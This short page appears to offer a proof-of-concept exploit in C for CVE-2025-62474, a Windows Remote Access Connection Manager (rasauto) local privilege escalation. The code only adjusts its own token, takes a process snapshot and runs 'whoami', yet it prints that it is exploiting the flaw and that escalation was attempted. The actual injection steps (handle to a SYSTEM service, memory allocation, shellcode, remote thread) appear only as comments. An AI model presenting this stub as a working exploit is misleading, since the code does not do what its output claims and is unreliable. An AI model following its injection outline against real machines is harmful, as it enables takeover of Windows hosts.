CVE-2025-62474 Windows Remote Access Connection Manager 本地权限提升漏洞

// CVE-2025-62474 Windows rasauto.dll Local Privilege Escalation PoC // This PoC demonstrates the improper access control vulnerability in Windows Remote Access Connection Manager // Author: Based on MSRC disclosure - [email protected] // Note: This is educational code for security research only #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #define EXPLOIT_TARGET "rasauto.dll" void escalate_privileges() { // Step 1: Get current process token HANDLE current_process = GetCurrentProcess(); HANDLE token = NULL; if (!OpenProcessToken(current_process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { printf("[-] Failed to open process token\n"); return; } // Step 2: Enable SE_DEBUG_PRIVILEGE LUID luid; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { printf("[-] Failed to lookup privilege\n"); CloseHandle(token); return; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), NULL, NULL)) { printf("[-] Failed to adjust token privileges\n"); CloseHandle(token); return; } // Step 3: Target rasauto.dll service process with SYSTEM privileges // The vulnerability allows low-priv users to manipulate rasauto.dll access control PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { printf("[-] Failed to create process snapshot\n"); CloseHandle(token); return; } printf("[+] Exploiting CVE-2025-62474: rasauto.dll improper access control\n"); printf("[+] Attempting to inject into rasauto service context...\n"); // In real exploitation, this would involve: // 1. Finding the rasauto service process (svchost.exe hosting rasauto) // 2. Exploiting the access control flaw to get handle to that process // 3. Allocating memory in the target process // 4. Writing shellcode // 5. Creating remote thread with SYSTEM privileges // Cleanup CloseHandle(snapshot); CloseHandle(token); printf("[+] Privilege escalation attempt completed\n"); } int main() { printf("========================================\n"); printf("CVE-2025-62474 PoC\n"); printf("Windows Remote Access Connection Manager\n"); printf("Improper Access Control - Local Privilege Escalation\n"); printf("========================================\n\n"); printf("[*] Current user: "); system("whoami"); printf("[*] CVSS Score: 7.8 (High)\n"); printf("[*] Attack Vector: Local\n"); printf("[*] Privilege Required: Low\n\n"); escalate_privileges(); printf("\n[!] Note: This is a simplified demonstration.\n"); printf("[!] Real exploitation requires specific DLL interaction.\n"); return 0; }